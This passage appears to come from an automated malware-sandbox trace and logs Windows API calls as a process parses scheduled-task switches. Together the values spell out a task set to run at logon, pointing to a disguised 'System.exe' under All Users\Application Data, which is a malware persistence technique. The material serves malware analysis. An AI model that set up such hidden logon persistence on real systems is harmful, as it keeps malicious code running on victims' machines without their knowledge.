_Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.438] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|m|") returned 3 [0128.438] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.438] lstrlenW (lpString="|m|") returned 3 [0128.438] lstrlenW (lpString="|tn|") returned 4 [0128.438] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.438] lstrlenW (lpString="i") returned 1 [0128.439] lstrlenW (lpString="i") returned 1 [0128.439] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.439] lstrlenW (lpString="tn") returned 2 [0128.439] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.439] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|i|") returned 3 [0128.439] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.439] lstrlenW (lpString="|i|") returned 3 [0128.439] lstrlenW (lpString="|tn|") returned 4 [0128.439] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.439] lstrlenW (lpString="tn") returned 2 [0128.439] lstrlenW (lpString="tn") returned 2 [0128.439] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.439] lstrlenW (lpString="tn") returned 2 [0128.439] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.439] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.439] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.439] lstrlenW (lpString="|tn|") returned 4 [0128.439] lstrlenW (lpString="|tn|") returned 4 [0128.439] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0128.439] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.439] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.439] lstrlenW (lpString="System") returned 6 [0128.439] lstrlenW (lpString="-/") returned 2 [0128.439] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0128.439] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.439] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.439] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.439] lstrlenW (lpString="System") returned 6 [0128.440] StrChrIW (lpStart="System", wMatch=0x3a) returned 0x0 [0128.440] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.440] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.440] lstrlenW (lpString="System") returned 6 [0128.440] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.440] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.440] lstrlenW (lpString="/sc") returned 3 [0128.440] lstrlenW (lpString="-/") returned 2 [0128.440] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.440] lstrlenW (lpString="create") returned 6 [0128.440] lstrlenW (lpString="create") returned 6 [0128.440] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.440] lstrlenW (lpString="sc") returned 2 [0128.440] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.440] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|create|") returned 8 [0128.440] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sc|") returned 4 [0128.440] lstrlenW (lpString="|create|") returned 8 [0128.440] lstrlenW (lpString="|sc|") returned 4 [0128.440] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0128.440] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.440] lstrlenW (lpString="?") returned 1 [0128.440] lstrlenW (lpString="?") returned 1 [0128.440] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.440] lstrlenW (lpString="sc") returned 2 [0128.440] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.440] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|?|") returned 3 [0128.440] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sc|") returned 4 [0128.440] lstrlenW (lpString="|?|") returned 3 [0128.441] lstrlenW (lpString="|sc|") returned 4 [0128.441] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.441] lstrlenW (lpString="s") returned 1 [0128.441] lstrlenW (lpString="s") returned 1 [0128.441] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.441] lstrlenW (lpString="sc") returned 2 [0128.441] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.441] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|s|") returned 3 [0128.441] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sc|") returned 4 [0128.441] lstrlenW (lpString="|s|") returned 3 [0128.441] lstrlenW (lpString="|sc|") returned 4 [0128.441] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.441] lstrlenW (lpString="u") returned 1 [0128.441] lstrlenW (lpString="u") returned 1 [0128.441] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.441] lstrlenW (lpString="sc") returned 2 [0128.441] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.441] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|u|") returned 3 [0128.441] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sc|") returned 4 [0128.441] lstrlenW (lpString="|u|") returned 3 [0128.441] lstrlenW (lpString="|sc|") returned 4 [0128.441] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.441] lstrlenW (lpString="p") returned 1 [0128.441] lstrlenW (lpString="p") returned 1 [0128.441] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.441] lstrlenW (lpString="sc") returned 2 [0128.441] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.441] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|p|") returned 3 [0128.442] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sc|") returned 4 [0128.442] lstrlenW (lpString="|p|") returned 3 [0128.442] lstrlenW (lpString="|sc|") returned 4 [0128.442] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.442] lstrlenW (lpString="ru") returned 2 [0128.442] lstrlenW (lpString="ru") returned 2 [0128.442] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.442] lstrlenW (lpString="sc") returned 2 [0128.442] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.442] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|ru|") returned 4 [0128.442] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sc|") returned 4 [0128.442] lstrlenW (lpString="|ru|") returned 4 [0128.442] lstrlenW (lpString="|sc|") returned 4 [0128.442] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0128.442] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.442] lstrlenW (lpString="rp") returned 2 [0128.442] lstrlenW (lpString="rp") returned 2 [0128.442] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.442] lstrlenW (lpString="sc") returned 2 [0128.442] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.442] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rp|") returned 4 [0128.442] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sc|") returned 4 [0128.442] lstrlenW (lpString="|rp|") returned 4 [0128.442] lstrlenW (lpString="|sc|") returned 4 [0128.442] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0128.442] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.443] lstrlenW (lpString="sc") returned 2 [0128.443] lstrlenW (lpString="sc") returned 2 [0128.443] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.443] lstrlenW (lpString="sc") returned 2 [0128.443] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.443] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sc|") returned 4 [0128.443] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sc|") returned 4 [0128.443] lstrlenW (lpString="|sc|") returned 4 [0128.443] lstrlenW (lpString="|sc|") returned 4 [0128.443] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0128.443] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.443] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.443] lstrlenW (lpString="ONLOGON") returned 7 [0128.443] lstrlenW (lpString="-/") returned 2 [0128.443] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0128.443] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.443] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.443] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.443] lstrlenW (lpString="ONLOGON") returned 7 [0128.443] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0128.443] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.443] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.443] GetProcessHeap () returned 0x10e05f40000 [0128.443] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x18) returned 0x10e05f4abe0 [0128.443] _memicmp (_Buf1=0x10e05f4abe0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.443] lstrlenW (lpString="ONLOGON") returned 7 [0128.443] GetProcessHeap () returned 0x10e05f40000 [0128.443] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x10) returned 0x10e05f4aac0 [0128.443] lstrlenW (lpString="ONLOGON") returned 7 [0128.443] lstrlenW (lpString=" \x09") returned 2 [0128.444] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0128.444] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0128.444] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0128.444] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0128.444] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0128.444] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0128.444] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0128.444] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0128.444] GetLastError () returned 0x0 [0128.444] lstrlenW (lpString="ONLOGON") returned 7 [0128.444] lstrlenW (lpString="ONLOGON") returned 7 [0128.444] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.444] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.444] lstrlenW (lpString="/tr") returned 3 [0128.444] lstrlenW (lpString="-/") returned 2 [0128.444] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.444] lstrlenW (lpString="create") returned 6 [0128.444] lstrlenW (lpString="create") returned 6 [0128.444] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.444] lstrlenW (lpString="tr") returned 2 [0128.444] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.444] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|create|") returned 8 [0128.444] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.444] lstrlenW (lpString="|create|") returned 8 [0128.444] lstrlenW (lpString="|tr|") returned 4 [0128.444] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0128.444] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.444] lstrlenW (lpString="?") returned 1 [0128.444] lstrlenW (lpString="?") returned 1 [0128.444] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.445] lstrlenW (lpString="tr") returned 2 [0128.445] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.445] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|?|") returned 3 [0128.445] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.445] lstrlenW (lpString="|?|") returned 3 [0128.445] lstrlenW (lpString="|tr|") returned 4 [0128.445] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.445] lstrlenW (lpString="s") returned 1 [0128.445] lstrlenW (lpString="s") returned 1 [0128.445] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.445] lstrlenW (lpString="tr") returned 2 [0128.445] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.445] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|s|") returned 3 [0128.445] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.445] lstrlenW (lpString="|s|") returned 3 [0128.445] lstrlenW (lpString="|tr|") returned 4 [0128.445] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.445] lstrlenW (lpString="u") returned 1 [0128.445] lstrlenW (lpString="u") returned 1 [0128.445] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.445] lstrlenW (lpString="tr") returned 2 [0128.445] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.445] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|u|") returned 3 [0128.445] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.445] lstrlenW (lpString="|u|") returned 3 [0128.445] lstrlenW (lpString="|tr|") returned 4 [0128.445] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.446] lstrlenW (lpString="p") returned 1 [0128.446] lstrlenW (lpString="p") returned 1 [0128.446] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.446] lstrlenW (lpString="tr") returned 2 [0128.446] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.446] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|p|") returned 3 [0128.446] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.446] lstrlenW (lpString="|p|") returned 3 [0128.446] lstrlenW (lpString="|tr|") returned 4 [0128.446] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.446] lstrlenW (lpString="ru") returned 2 [0128.446] lstrlenW (lpString="ru") returned 2 [0128.446] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.446] lstrlenW (lpString="tr") returned 2 [0128.446] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.446] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|ru|") returned 4 [0128.446] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.446] lstrlenW (lpString="|ru|") returned 4 [0128.446] lstrlenW (lpString="|tr|") returned 4 [0128.446] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0128.446] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.446] lstrlenW (lpString="rp") returned 2 [0128.446] lstrlenW (lpString="rp") returned 2 [0128.446] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.446] lstrlenW (lpString="tr") returned 2 [0128.446] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.446] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|rp|") returned 4 [0128.447] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.447] lstrlenW (lpString="|rp|") returned 4 [0128.447] lstrlenW (lpString="|tr|") returned 4 [0128.447] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0128.447] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.447] lstrlenW (lpString="sc") returned 2 [0128.447] lstrlenW (lpString="sc") returned 2 [0128.447] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.447] lstrlenW (lpString="tr") returned 2 [0128.447] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.447] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|sc|") returned 4 [0128.447] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.447] lstrlenW (lpString="|sc|") returned 4 [0128.447] lstrlenW (lpString="|tr|") returned 4 [0128.447] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0128.447] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.447] lstrlenW (lpString="mo") returned 2 [0128.447] lstrlenW (lpString="mo") returned 2 [0128.447] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.447] lstrlenW (lpString="tr") returned 2 [0128.447] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.447] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|mo|") returned 4 [0128.447] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.447] lstrlenW (lpString="|mo|") returned 4 [0128.447] lstrlenW (lpString="|tr|") returned 4 [0128.447] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0128.447] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.447] lstrlenW (lpString="d") returned 1 [0128.448] lstrlenW (lpString="d") returned 1 [0128.448] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.448] lstrlenW (lpString="tr") returned 2 [0128.448] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.448] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|d|") returned 3 [0128.448] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.448] lstrlenW (lpString="|d|") returned 3 [0128.448] lstrlenW (lpString="|tr|") returned 4 [0128.448] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.448] lstrlenW (lpString="m") returned 1 [0128.448] lstrlenW (lpString="m") returned 1 [0128.448] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.448] lstrlenW (lpString="tr") returned 2 [0128.448] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.448] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|m|") returned 3 [0128.448] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.448] lstrlenW (lpString="|m|") returned 3 [0128.448] lstrlenW (lpString="|tr|") returned 4 [0128.448] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.448] lstrlenW (lpString="i") returned 1 [0128.448] lstrlenW (lpString="i") returned 1 [0128.448] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.448] lstrlenW (lpString="tr") returned 2 [0128.448] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.448] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|i|") returned 3 [0128.448] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.449] lstrlenW (lpString="|i|") returned 3 [0128.449] lstrlenW (lpString="|tr|") returned 4 [0128.449] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.449] lstrlenW (lpString="tn") returned 2 [0128.449] lstrlenW (lpString="tn") returned 2 [0128.449] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.449] lstrlenW (lpString="tr") returned 2 [0128.449] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.449] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tn|") returned 4 [0128.449] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.449] lstrlenW (lpString="|tn|") returned 4 [0128.449] lstrlenW (lpString="|tr|") returned 4 [0128.449] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0128.449] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.449] lstrlenW (lpString="tr") returned 2 [0128.449] lstrlenW (lpString="tr") returned 2 [0128.449] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.449] lstrlenW (lpString="tr") returned 2 [0128.449] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.449] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.449] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4fc828 | out: _Buffer="|tr|") returned 4 [0128.449] lstrlenW (lpString="|tr|") returned 4 [0128.449] lstrlenW (lpString="|tr|") returned 4 [0128.449] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0128.449] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.449] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.449] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0128.449] lstrlenW (lpString="-/") returned 2 [0128.450] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0128.450] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.450] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.450] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.450] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0128.450] StrChrIW (lpStart="'C:\\Users\\All Users\\Application Data\\System.exe'", wMatch=0x3a) returned=":\\Users\\All Users\\Application Data\\System.exe'" [0128.450] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0128.450] _memicmp (_Buf1=0x10e05f44770, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.450] _memicmp (_Buf1=0x10e05f4a9c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.450] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.450] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.450] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.450] lstrlenW (lpString="'C") returned 2 [0128.450] lstrlenW (lpString="-/") returned 2 [0128.450] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0128.450] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.450] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.450] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.450] _memicmp (_Buf1=0x10e05f4abe0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.450] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0128.450] GetProcessHeap () returned 0x10e05f40000 [0128.450] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4aac0) returned 1 [0128.450] GetProcessHeap () returned 0x10e05f40000 [0128.450] RtlReAllocateHeap (Heap=0x10e05f40000, Flags=0xc, Ptr=0x10e05f4aac0, Size=0x62) returned 0x10e05f446f0 [0128.450] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0128.450] lstrlenW (lpString=" \x09") returned 2 [0128.450] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0128.450] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0128.450] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0128.451] StrChrW (lpStart=" \x09", 